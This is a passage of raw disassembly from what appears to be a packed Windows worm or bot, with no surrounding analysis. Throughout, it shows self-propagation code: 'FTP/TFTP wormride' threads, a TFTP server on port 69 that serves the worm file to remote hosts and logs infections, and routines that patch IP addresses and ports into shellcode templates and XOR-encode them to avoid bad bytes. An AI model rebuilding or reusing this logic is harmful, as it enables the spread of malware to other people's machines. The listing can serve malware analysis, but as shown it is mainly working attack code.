32h lea eax, [ebp+var_200] push esi push eax push edi call sub_403DF6 add esp, 28h test eax, eax jz loc_40DD30 cmp eax, 0FFFFFFFFh jz loc_40DD30 lea eax, [ebp+var_200] push eax call sub_405AB9 lea eax, [ebp+var_200] mov [esp+20Ch+var_20C], offset dword_4177E8 push eax call sub_41177E ; strcmp pop ecx test eax, eax pop ecx jnz short loc_40DD30 call sub_40B480 push eax lea eax, [ebp+var_200] push offset dword_4177DC push eax call sub_4114DC ; sprintf lea eax, [ebp+var_200] push eax call sub_4114BE ; strlen push eax lea eax, [ebp+var_200] push eax push edi call sub_403D9D push 32h lea eax, [ebp+var_200] push esi push eax push edi call sub_403DF6 add esp, 2Ch test eax, eax jz short loc_40DD30 cmp eax, 0FFFFFFFFh jz short loc_40DD30 lea eax, [ebp+var_200] push eax call sub_405AB9 lea eax, [ebp+var_200] mov [esp+20Ch+var_20C], offset dword_4177D8 push eax call sub_41177E ; strcmp neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40DD32 ; --------------------------------------------------------------------------- loc_40DD30: ; CODE XREF: sub_40DBD7+1Aj ; sub_40DBD7+38j ... xor eax, eax loc_40DD32: ; CODE XREF: sub_40DBD7+157j pop edi pop esi leave retn sub_40DBD7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DD36 proc near ; CODE XREF: kkrunchy:0040DE44p var_1B0 = dword ptr -1B0h var_1AC = byte ptr -1ACh var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_1B0] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free add esp, 10h xor ebx, ebx push 1 pop edi loc_40DD66: ; CODE XREF: sub_40DD36+83j lea eax, [ebp+var_8] push 0Ah push eax push edi call sub_41192A ; _itoa push 0FFFFFFFFh lea eax, [ebp+var_8] push 0 push eax push offset a127_0_0_1 ; "127.0.0.1" call sub_403C04 mov esi, eax add esp, 1Ch test esi, esi jz short loc_40DDB2 push esi call sub_40DBD7 test eax, eax pop ecx jz short loc_40DDAB lea eax, [ebp+var_8] push 2 push eax call sub_403644 mov ebx, eax pop ecx test ebx, ebx pop ecx jz short loc_40DDBF loc_40DDAB: ; CODE XREF: sub_40DD36+60j push esi call sub_403D92 pop ecx loc_40DDB2: ; CODE XREF: sub_40DD36+55j inc edi cmp edi, 0FFFFh jb short loc_40DD66 test ebx, ebx jnz short loc_40DDCC loc_40DDBF: ; CODE XREF: sub_40DD36+73j push [ebp+var_1B0] call sub_406E6F jmp short loc_40DE36 ; --------------------------------------------------------------------------- loc_40DDCC: ; CODE XREF: sub_40DD36+87j mov eax, [ebp+var_1B0] push dword ptr [eax] lea eax, [ebp+var_1AC] push offset unk_4177FC push eax call sub_4096CB add esp, 0Ch loc_40DDE8: ; CODE XREF: sub_40DD36+ECj push 3E8h push ebx call sub_403767 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40DE18 cmp esi, 0FFFFFFFFh jz short loc_40DE18 push esi push offset sub_40D6E0 call sub_406C5D pop ecx test eax, eax pop ecx jnz short loc_40DE18 push esi call sub_403D92 pop ecx loc_40DE18: ; CODE XREF: sub_40DD36+C3j ; sub_40DD36+C8j ... mov eax, [ebp+var_1B0] cmp dword ptr [eax+4], 0 jz short loc_40DDE8 push ebx call sub_40392A push [ebp+var_1B0] call sub_406E6F pop ecx loc_40DE36: ; CODE XREF: sub_40DD36+94j pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_40DD36 endp ; --------------------------------------------------------------------------- loc_40DE40: ; DATA XREF: sub_40DE4C+3Eo push dword ptr [esp+4] call sub_40DD36 retn 4 ; =============== S U B R O U T I N E ======================================= sub_40DE4C proc near ; CODE XREF: sub_407A76+485p ; sub_407A76:loc_407F1Bp arg_0 = dword ptr 4 push esi call sub_403338 test eax, eax jnz short loc_40DE98 push 1A7h call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_40DE98 push edi mov edi, [esp+8+arg_0] lea eax, [esi+4] push edi push eax call sub_40457C xor eax, eax pop ecx cmp [edi+18Bh], al pop ecx push offset aFtpWormrideThr ; "FTP wormride thread" setz al push eax push esi push offset loc_40DE40 call sub_406D58 add esp, 10h pop edi loc_40DE98: ; CODE XREF: sub_40DE4C+8j ; sub_40DE4C+19j pop esi retn sub_40DE4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DE9A proc near ; DATA XREF: sub_40E243+35o var_D7C = dword ptr -0D7Ch var_D78 = dword ptr -0D78h var_578 = byte ptr -578h var_478 = dword ptr -478h var_474 = byte ptr -474h var_2D0 = byte ptr -2D0h var_2CF = byte ptr -2CFh var_2CE = byte ptr -2CEh var_2CD = byte ptr -2CDh var_2CC = byte ptr -2CCh var_CC = byte ptr -0CCh var_CB = byte ptr -0CBh var_CA = byte ptr -0CAh var_C9 = byte ptr -0C9h var_4C = byte ptr -4Ch var_3C = word ptr -3Ch var_3A = word ptr -3Ah var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0D7Ch push ebx push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_478] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free add esp, 10h xor ebx, ebx push ebx push 2 pop esi push esi push esi call dword_41222C ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jz loc_40E22E lea eax, [ebp+var_578] push eax call sub_4091A7 push eax call sub_40348C push 10h lea eax, [ebp+var_3C] push ebx push eax call sub_4114E8 ; memset add esp, 14h mov [ebp+var_3C], si push 45h call dword_412248 ; htons mov [ebp+var_3A], ax lea eax, [ebp+var_578] push eax call dword_412254 ; inet_addr mov [ebp+var_38], eax lea eax, [ebp+var_10] push 4 push eax push 4 push 0FFFFh push edi mov [ebp+var_10], 1 call dword_412218 ; setsockopt lea eax, [ebp+var_3C] push 10h push eax push edi call dword_41221C ; bind cmp eax, 0FFFFFFFFh jz loc_40E22E push offset aRb ; "rb" push offset dword_419ECC call sub_411506 ; fopen pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jnz short loc_40DF71 push edi jmp loc_40E228 ; --------------------------------------------------------------------------- loc_40DF71: ; CODE XREF: sub_40DE9A+CFj mov eax, [ebp+var_478] push dword ptr [eax] lea eax, [ebp+var_474] push offset unk_4178A8 push eax call sub_4096CB push esi push ebx push [ebp+arg_0] call sub_411516 ; fseek push [ebp+arg_0] call sub_4114F4 ; ftell push ebx push ebx push [ebp+arg_0] mov [ebp+var_14], eax call sub_411516 ; fseek push 80h lea eax, [ebp+var_CC] push ebx push eax call sub_4114E8 ; memset mov esi, dword_412260 add esp, 34h loc_40DFC4: ; CODE XREF: sub_40DE9A+1A2j ; sub_40DE9A+1A7j ... push 1 mov ecx, [ebp+var_4] pop eax mov [ebp+var_28], ebx mov [ebp+var_2C], eax mov [ebp+var_D7C], eax lea eax, [ebp+var_2C] mov [ebp+var_D78], ecx push eax push ebx lea eax, [ebp+var_D7C] push ebx push eax push ebx call dword_412214 ; select test eax, eax jle loc_40E20D mov al, byte_4191D0 mov ecx, 80h mov [ebp+var_2D0], al xor eax, eax lea edi, [ebp+var_2CF] mov [ebp+var_8], 10h rep stosd stosw stosb lea eax, [ebp+var_8] push eax lea eax, [ebp+var_24] push eax push ebx lea eax, [ebp+var_CC] push 80h push eax push [ebp+var_4] call dword_412268 ; recvfrom cmp eax, ebx jz short loc_40DFC4 cmp eax, 0FFFFFFFFh jz short loc_40DFC4 cmp [ebp+var_CC], bl jnz loc_40E1F9 cmp [ebp+var_CB], 1 jnz loc_40E0F7 lea eax, [ebp+var_CA] push eax call sub_4114BE ; strlen mov edi, offset aOctet ; "octet" lea eax, [ebp+eax+var_C9] push edi mov [ebp+var_C], eax call sub_4114BE ; strlen push eax push [ebp+var_C] push edi call sub_411570 ; strncmp add esp, 14h test eax, eax jz short loc_40E0A2 push [ebp+var_8] lea eax, [ebp+var_24] push eax push ebx push 13h push offset dword_41788C jmp loc_40E208 ; --------------------------------------------------------------------------- loc_40E0A2: ; CODE XREF: sub_40DE9A+1F2j push ebx push ebx push [ebp+arg_0] call sub_411516 ; fseek push [ebp+arg_0] lea eax, [ebp+var_2CC] mov [ebp+var_2D0], bl mov [ebp+var_2CF], 3 push 200h push 1 push eax mov [ebp+var_2CE], bl mov [ebp+var_2CD], 1 call sub_411510 ; fread add esp, 1Ch lea ecx, [ebp+var_24] add eax, 4 push [ebp+var_8] push ecx push ebx push eax lea eax, [ebp+var_2D0] push eax jmp loc_40E208 ; --------------------------------------------------------------------------- loc_40E0F7: ; CODE XREF: sub_40DE9A+1BCj cmp [ebp+var_CB], 4 jnz loc_40E1F9 mov cl, [ebp+var_C9] mov al, [ebp+var_CA] cmp cl, 0FFh mov [ebp+var_2D0], bl mov [ebp+var_2CF], 3 jnz short loc_40E134 inc al xor cl, cl mov [ebp+var_2CE], al mov [ebp+var_2CD], bl jmp short loc_40E142 ; --------------------------------------------------------------------------- loc_40E134: ; CODE XREF: sub_40DE9A+286j inc cl mov [ebp+var_2CE], al mov [ebp+var_2CD], cl loc_40E142: ; CODE XREF: sub_40DE9A+298j movzx eax, al movzx ecx, cl shl eax, 8 push ebx lea eax, [eax+ecx-1] shl eax, 9 push eax mov [ebp+var_C], eax push [ebp+arg_0] call sub_411516 ; fseek push [ebp+arg_0] lea eax, [ebp+var_2CC] push 200h push 1 push eax call sub_411510 ; fread add esp, 1Ch mov edi, eax lea eax, [ebp+var_24] push [ebp+var_8] push eax lea eax, [edi+4] push ebx push eax lea eax, [ebp+var_2D0] push eax push [ebp+var_4] call esi ; sendto cmp edi, ebx jnz short loc_40E20D mov eax, [ebp+var_C] cmp eax, [ebp+var_14] jb short loc_40E20D mov edi, [ebp+var_20] push edi push offset dword_419EB0 call sub_407227 pop ecx cmp eax, edi pop ecx jz short loc_40E20D push 1 push offset dword_419EB4 call sub_407216 pop ecx mov edi, eax pop ecx push 10h push [ebp+var_20] call dword_412230 ; inet_ntoa push eax lea eax, [ebp+var_4C] push eax call sub_4059C2 add esp, 0Ch lea eax, [ebp+var_4C] inc edi push eax push edi push offset aWormride ; "wormride" push offset unk_417850 push offset dword_418E50 call sub_409659 add esp, 14h jmp short loc_40E20D ; --------------------------------------------------------------------------- loc_40E1F9: ; CODE XREF: sub_40DE9A+1AFj ; sub_40DE9A+264j push [ebp+var_8] lea eax, [ebp+var_24] push eax push ebx push 9 push offset dword_417844 loc_40E208: ; CODE XREF: sub_40DE9A+203j ; sub_40DE9A+258j push [ebp+var_4] call esi ; sendto loc_40E20D: ; CODE XREF: sub_40DE9A+158j ; sub_40DE9A+2FAj ... mov eax, [ebp+var_478] cmp [eax+4], ebx jz loc_40DFC4 push [ebp+arg_0] call sub_411500 ; fclose pop ecx push [ebp+var_4] loc_40E228: ; CODE XREF: sub_40DE9A+D2j call dword_412240 ; closesocket loc_40E22E: ; CODE XREF: sub_40DE9A+41j ; sub_40DE9A+B3j push [ebp+var_478] call sub_406E6F pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_40DE9A endp ; =============== S U B R O U T I N E ======================================= sub_40E243 proc near ; CODE XREF: sub_407A76+49Bp ; sub_407A76+4B1p arg_0 = dword ptr 4 push esi push 1A7h call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_40E286 push edi mov edi, [esp+8+arg_0] lea eax, [esi+4] push edi push eax call sub_40457C xor eax, eax pop ecx cmp [edi+18Bh], al pop ecx push offset aTftpWormrideTh ; "TFTP wormride thread" setz al push eax push esi push offset sub_40DE9A call sub_406D58 add esp, 10h pop edi loc_40E286: ; CODE XREF: sub_40E243+10j pop esi retn sub_40E243 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E288 proc near ; CODE XREF: sub_40E399+62p ; sub_40E399+84p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp xor edx, edx push esi cmp [ebp+arg_4], edx jbe short loc_40E2B7 loc_40E293: ; CODE XREF: sub_40E288+2Dj xor ecx, ecx cmp [ebp+arg_C], ecx jbe short loc_40E2B1 mov eax, [ebp+arg_0] mov al, [edx+eax] xor al, [ebp+arg_10] loc_40E2A3: ; CODE XREF: sub_40E288+27j mov esi, [ebp+arg_8] cmp al, [ecx+esi] jz short loc_40E2BC inc ecx cmp ecx, [ebp+arg_C] jb short loc_40E2A3 loc_40E2B1: ; CODE XREF: sub_40E288+10j inc edx cmp edx, [ebp+arg_4] jb short loc_40E293 loc_40E2B7: ; CODE XREF: sub_40E288+9j xor eax, eax loc_40E2B9: ; CODE XREF: sub_40E288+37j pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_40E2BC: ; CODE XREF: sub_40E288+21j push 1 pop eax jmp short loc_40E2B9 sub_40E288 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E2C1 proc near ; CODE XREF: sub_40CAA1+36p ; sub_40CEBE+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp cmp [ebp+arg_8], 1 push ebx push esi push edi jnz short loc_40E2FA mov eax, 0B2h cmp [ebp+arg_4], eax jb short loc_40E337 mov esi, [ebp+arg_0] push eax push offset dword_417A84 push esi mov [ebp+arg_4], eax call sub_4114D0 ; memcpy add esp, 0Ch lea ebx, [esi+8Fh] lea edi, [esi+88h] jmp short loc_40E35C ; --------------------------------------------------------------------------- loc_40E2FA: ; CODE XREF: sub_40E2C1+Aj cmp [ebp+arg_8], 2 jnz short loc_40E32D mov eax, 0C6h cmp [ebp+arg_4], eax jb short loc_40E337 mov esi, [ebp+arg_0] push eax push offset dword_4179BC push esi mov [ebp+arg_4], eax call sub_4114D0 ; memcpy add esp, 0Ch lea edi, [esi+89h] add esi, 0C0h jmp short loc_40E371 ; --------------------------------------------------------------------------- loc_40E32D: ; CODE XREF: sub_40E2C1+3Dj mov eax, 0B2h cmp [ebp+arg_4], eax jnb short loc_40E33B loc_40E337: ; CODE XREF: sub_40E2C1+14j ; sub_40E2C1+47j xor eax, eax jmp short loc_40E394 ; --------------------------------------------------------------------------- loc_40E33B: ; CODE XREF: sub_40E2C1+74j mov esi, [ebp+arg_0] push eax push offset dword_417908 push esi mov [ebp+arg_4], eax call sub_4114D0 ; memcpy add esp, 0Ch lea ebx, [esi+86h] lea edi, [esi+8Dh] loc_40E35C: ; CODE XREF: sub_40E2C1+37j add esi, 0ACh test ebx, ebx jz short loc_40E371 push [ebp+arg_C] call dword_412254 ; inet_addr mov [ebx], eax loc_40E371: ; CODE XREF: sub_40E2C1+6Aj ; sub_40E2C1+A3j test edi, edi jz short loc_40E388 push [ebp+arg_10] call sub_41151C ; atoi pop ecx push eax call dword_412248 ; htons mov [edi], ax loc_40E388: ; CODE XREF: sub_40E2C1+B2j test esi, esi jz short loc_40E391 mov eax, [ebp+arg_14] mov [esi], eax loc_40E391: ; CODE XREF: sub_40E2C1+C9j mov eax, [ebp+arg_4] loc_40E394: ; CODE XREF: sub_40E2C1+78j pop edi pop esi pop ebx pop ebp retn sub_40E2C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E399 proc near ; CODE XREF: kkrunchy:0040B80Dp ; sub_40BAAF+3Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 1Ch push esi push edi jb short loc_40E3CE push [ebp+arg_14] mov esi, [ebp+arg_0] push [ebp+arg_10] lea eax, [esi+1Ch] mov [ebp+var_4], eax push [ebp+arg_C] push [ebp+arg_8] push 1E4h push eax call sub_40E2C1 mov edi, eax add esp, 18h test edi, edi jnz short loc_40E3D5 loc_40E3CE: ; CODE XREF: sub_40E399+Aj xor eax, eax jmp loc_40E492 ; --------------------------------------------------------------------------- loc_40E3D5: ; CODE XREF: sub_40E399+33j push 1Ch push offset loc_4178E8 push esi call sub_4114D0 ; memcpy mov eax, dword_417CB8 add esp, 0Ch mov [ebp+arg_4], eax loc_40E3ED: ; CODE XREF: sub_40E399+9Dj push 0 lea eax, [ebp+arg_4] push [ebp+arg_1C] push [ebp+arg_18] push 4 push eax call sub_40E288 add esp, 14h test eax, eax jnz short loc_40E429 mov eax, [ebp+arg_4] push 0 push [ebp+arg_1C] xor eax, edi mov [ebp+arg_14], eax lea eax, [ebp+arg_14] push [ebp+arg_18] push 4 push eax call sub_40E288 add esp, 14h test eax, eax jz short loc_40E438 loc_40E429: ; CODE XREF: sub_40E399+6Cj call sub_40B480 mov [ebp+arg_4], eax mov dword_417CB8, eax jmp short loc_40E3ED ; --------------------------------------------------------------------------- loc_40E438: ; CODE XREF: sub_40E399+8Ej mov eax, [ebp+arg_4] push ebx mov [esi+3], eax mov eax, [ebp+arg_14] mov [esi+9], eax mov bl, byte_417CB5 mov byte ptr [ebp+arg_0], bl loc_40E44E: ; CODE XREF: sub_40E399+DEj push [ebp+arg_0] push [ebp+arg_1C] push [ebp+arg_18] push edi push [ebp+var_4] call sub_40E288 add esp, 14h test eax, eax jz short loc_40E479 call sub_40B4AB mov bl, al mov byte ptr [ebp+arg_0], bl mov byte_417CB5, bl jmp short loc_40E44E ; --------------------------------------------------------------------------- loc_40E479: ; CODE XREF: sub_40E399+CCj xor eax, eax mov [esi+12h], bl test edi, edi jbe short loc_40E48E loc_40E482: ; CODE XREF: sub_40E399+F3j mov ecx, [ebp+var_4] add ecx, eax xor [ecx], bl inc eax cmp eax, edi jb short loc_40E482 loc_40E48E: ; CODE XREF: sub_40E399+E7j lea eax, [edi+1Ch] pop ebx loc_40E492: ; CODE XREF: sub_40E399+37j pop edi pop esi leave retn sub_40E399 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E496 proc near ; CODE XREF: sub_40E707+Fp ; sub_40E829+51p ... var_18C = byte ptr -18Ch var_E4 = byte ptr -0E4h var_10 = byte ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18Ch push esi push edi push 8 push 4 call sub_40B459 push 7Ah push 61h mov edi, eax call sub_40B459 add esp, 10h mov [ebp+var_10], al push 1 pop esi cmp edi, esi jz short loc_40E4D6 loc_40E4C2: ; CODE XREF: sub_40E496+3Ej push 7Ah push 61h call sub_40B459 mov [ebp+esi+var_10], al inc esi pop ecx cmp esi, edi pop ecx jnz short loc_40E4C2 loc_40E4D6: ; CODE XREF: sub_40E496+2Aj lea eax, [ebp+esi+var_10] push offset dword_413620 push eax call sub_4114B8 ; _mbscpy mov esi, 17Ch lea eax, [ebp+var_18C] push esi push offset dword_417B38 push eax call sub_4114D0 ; memcpy lea eax, [ebp+var_10] push eax lea eax, [ebp+var_E4] push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_18C] push esi push eax push [ebp+arg_0] call sub_403D9D add esp, 28h pop edi pop esi leave retn sub_40E496 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E523 proc near ; CODE XREF: sub_40E707+EAp ; sub_40E829+75p ... var_240 = byte ptr -240h var_40 = byte ptr -40h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 240h push ebx push esi push edi xor edi, edi cmp dword_419EBC, edi push 1 pop ebx jnz short loc_40E5AE cmp off_418E20, edi mov dword_419EBC, ebx jz short loc_40E5AE mov eax, offset off_418E20 xor esi, esi loc_40E551: ; CODE XREF: sub_40E523+81j push 20h push dword ptr [eax] lea eax, [ebp+var_20] push eax call sub_4059C2 push 20h lea eax, [ebp+var_40] push off_417CC0[esi] push eax call sub_4059C2 lea eax, [ebp+var_20] push eax call sub_40B5A8 lea eax, [ebp+var_40] push eax call sub_40B5A8 lea eax, [ebp+var_40] push eax lea eax, [ebp+var_20] push eax call sub_41177E ; strcmp add esp, 28h test eax, eax jnz short loc_40E5A8 add esi, 0Ch cmp off_418E20[esi], edi lea eax, off_418E20[esi] jnz short loc_40E551 jmp short loc_40E5AE ; --------------------------------------------------------------------------- loc_40E5A8: ; CODE XREF: sub_40E523+70j mov dword_419EC0, ebx loc_40E5AE: ; CODE XREF: sub_40E523+17j ; sub_40E523+25j ... cmp dword_419EC0, edi jnz short loc_40E613 push offset aRb ; "rb" push offset dword_419FE0 call sub_411506 ; fopen mov edi, eax pop ecx test edi, edi pop ecx jz short loc_40E615 mov esi, 200h push edi push esi lea eax, [ebp+var_240] push ebx push eax call sub_411510 ; fread add esp, 10h loc_40E5E4: ; CODE XREF: sub_40E523+E7j test eax, eax jz short loc_40E60C push eax lea eax, [ebp+var_240] push eax push [ebp+arg_0] call sub_403D9D push edi push esi lea eax, [ebp+var_240] push ebx push eax call sub_411510 ; fread add esp, 1Ch jmp short loc_40E5E4 ; --------------------------------------------------------------------------- loc_40E60C: ; CODE XREF: sub_40E523+C3j push edi call sub_411500 ; fclose pop ecx loc_40E613: ; CODE XREF: sub_40E523+91j mov eax, ebx loc_40E615: ; CODE XREF: sub_40E523+A8j pop edi pop esi pop ebx leave retn sub_40E523 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E61A proc near ; CODE XREF: sub_40E829+57p ; sub_40E8E1+12p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push 0EA60h push [ebp+arg_0] call sub_403E1F pop ecx test eax, eax pop ecx jnz short loc_40E637 leave retn ; --------------------------------------------------------------------------- loc_40E637: ; CODE XREF: sub_40E61A+19j push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_412258 ; recv mov eax, [ebp+var_4] leave retn sub_40E61A endp ; =============== S U B R O U T I N E ======================================= sub_40E64D proc near ; CODE XREF: sub_40E829+67p ; sub_40E8E1+22p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi xor edi, edi xor eax, eax cmp off_417DC6, edi jz short loc_40E69C mov ecx, offset off_417DC6 loc_40E65F: ; CODE XREF: sub_40E64D+21j mov edx, [ecx-8] cmp edx, [esp+4+arg_0] jz short loc_40E672 add ecx, 3Ah inc eax cmp [ecx], edi jnz short loc_40E65F jmp short loc_40E69C ; --------------------------------------------------------------------------- loc_40E672: ; CODE XREF: sub_40E64D+19j imul eax, 3Ah push esi mov esi, [esp+8+arg_4] lea edi, dword_417D98[eax] push 3Ah push edi push esi call sub_4114D0 ; memcpy push esi call sub_40B5E1 add esi, 13h push esi call sub_40B5E1 add esp, 14h pop esi loc_40E69C: ; CODE XREF: sub_40E64D+Bj ; sub_40E64D+23j mov eax, edi pop edi retn sub_40E64D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E6A0 proc near ; CODE XREF: sub_40E707+103p ; sub_40E829+8Ap ... var_100 = byte ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 100h mov eax, [ebp+arg_0] push esi add eax, 2Ah push 1 push eax call sub_407216 mov esi, eax lea eax, [ebp+var_100] push eax push [ebp+arg_8] call sub_4034DE add esp, 10h test eax, eax jnz short loc_40E6E3 lea eax, [ebp+var_100] push offset aUnknown ; "unknown" push eax call sub_4114B8 ; _mbscpy pop ecx pop ecx loc_40E6E3: ; CODE XREF: sub_40E6A0+2Ej lea eax, [ebp+var_100] inc esi push eax push esi push [ebp+arg_C] push [ebp+arg_4] push offset unk_4151D8 push offset dword_418E50 call sub_409659 add esp, 18h pop esi leave retn sub_40E6A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E707 proc near ; CODE XREF: sub_40ECD6+119p var_244 = dword ptr -244h var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_1A = dword ptr -1Ah var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 244h push ebx push esi push edi push [ebp+arg_4] call sub_40E496 push 3Ah lea eax, [ebp+var_40] push [ebp+arg_0] push eax call sub_4114D0 ; memcpy lea eax, [ebp+var_40] push eax call sub_40B5E1 lea eax, [ebp+var_2D] push eax call sub_40B5E1 mov edi, 203h lea eax, [ebp+var_244] push edi push 0 push eax call sub_4114E8 ; memset add esp, 24h and [ebp+var_4], 0 mov ebx, 3E8h mov esi, 200h loc_40E760: ; CODE XREF: sub_40E707+DFj push ebx push [ebp+arg_4] call sub_403E1F pop ecx test eax, eax pop ecx jz short loc_40E7DF lea eax, [ebp+var_244+3] push esi push eax push [ebp+arg_4] call sub_403DB2 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_40E824 xor ecx, ecx cmp eax, ecx jz short loc_40E7CE jbe short loc_40E7A4 loc_40E793: ; CODE XREF: sub_40E707+9Bj mov edx, [ebp+ecx+var_244] cmp edx, [ebp+var_1A] jz short loc_40E7EE inc ecx cmp ecx, eax jb short loc_40E793 loc_40E7A4: ; CODE XREF: sub_40E707+8Aj lea eax, [ebp+eax+var_244] push 3 push eax lea eax, [ebp+var_244] push eax call sub_4114D0 ; memcpy push esi lea eax, [ebp+var_244+3] push 0 push eax call sub_4114E8 ; memset add esp, 18h jmp short loc_40E7DF ; --------------------------------------------------------------------------- loc_40E7CE: ; CODE XREF: sub_40E707+88j push edi lea eax, [ebp+var_244] push ecx push eax call sub_4114E8 ; memset add esp, 0Ch loc_40E7DF: ; CODE XREF: sub_40E707+66j ; sub_40E707+C5j inc [ebp+var_4] cmp [ebp+var_4], 3Ch jnz loc_40E760 jmp short loc_40E824 ; --------------------------------------------------------------------------- loc_40E7EE: ; CODE XREF: sub_40E707+96j push [ebp+arg_4] call sub_40E523 test eax, eax pop ecx jz short loc_40E824 push offset dword_417D2C lea eax, [ebp+var_40] push [ebp+arg_4] push eax push [ebp+arg_0] call sub_40E6A0 add esp, 10h push 1 push [ebp+arg_4] call dword_412210 ; shutdown push ebx call dword_4120A4 ; Sleep loc_40E824: ; CODE XREF: sub_40E707+7Ej ; sub_40E707+E5j ... pop edi pop esi pop ebx leave retn sub_40E707 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E829 proc near ; CODE XREF: sub_40ECD6+134p var_848 = dword ptr -848h var_844 = dword ptr -844h var_44 = byte ptr -44h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 848h push ebx push esi push edi xor edi, edi push edi push [ebp+arg_4] push [ebp+arg_0] call sub_403B44 add esp, 0Ch mov esi, eax lea eax, [ebp+var_8] mov [ebp+var_8], 3Ch push 1 mov [ebp+var_4], edi pop ebx mov [ebp+var_844], esi push eax lea eax, [ebp+var_848] push edi push eax push edi push edi mov [ebp+var_848], ebx call dword_412214 ; select cmp eax, ebx push esi jnz short loc_40E8D0 call sub_40E496 push esi call sub_40E61A pop ecx cmp eax, edi pop ecx jz short loc_40E8CF lea ecx, [ebp+var_44] push ecx push eax call sub_40E64D pop ecx mov ebx, eax pop ecx cmp ebx, edi push esi jz short loc_40E8D0 call sub_40E523 test eax, eax pop ecx jz short loc_40E8CF push offset dword_417D30 lea eax, [ebp+var_44] push esi push eax push ebx call sub_40E6A0 add esp, 10h push 1 push esi call dword_412210 ; shutdown push 3E8h call dword_4120A4 ; Sleep loc_40E8CF: ; CODE XREF: sub_40E829+60j ; sub_40E829+7Dj push esi loc_40E8D0: ; CODE XREF: sub_40E829+4Fj ; sub_40E829+73j call sub_403D92 pop ecx pop edi pop esi pop ebx leave retn sub_40E829 endp ; =============== S U B R O U T I N E ======================================= sub_40E8DB proc near ; CODE XREF: sub_40ECD6:loc_40EDAAp mov eax, offset dword_419EC4 retn sub_40E8DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E8E1 proc near ; DATA XREF: sub_40E951+AAo var_3C = byte ptr -3Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3Ch push esi mov esi, [ebp+arg_0] push edi push esi call sub_40E496 push esi call sub_40E61A pop ecx test eax, eax pop ecx jz short loc_40E942 lea ecx, [ebp+var_3C] push ecx push eax call sub_40E64D pop ecx mov edi, eax pop ecx test edi, edi push esi jz short loc_40E943 call sub_40E523 test eax, eax pop ecx jz short loc_40E942 push offset dword_417D34 lea eax, [ebp+var_3C] push esi push eax push edi call sub_40E6A0 add esp, 10h push 1 push esi call dword_412210 ; shutdown push 3E8h call dword_4120A4 ; Sleep loc_40E942: ; CODE XREF: sub_40E8E1+1Bj ; sub_40E8E1+38j push esi loc_40E943: ; CODE XREF: sub_40E8E1+2Ej call sub_403D92 pop ecx pop edi xor eax, eax pop esi leave retn 4 sub_40E8E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E951 proc near ; DATA XREF: sub_40EA2F+83o var_1B0 = dword ptr -1B0h var_1AC = byte ptr -1ACh var_1A6 = byte ptr -1A6h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push edi push 1ADh push [ebp+arg_0] lea 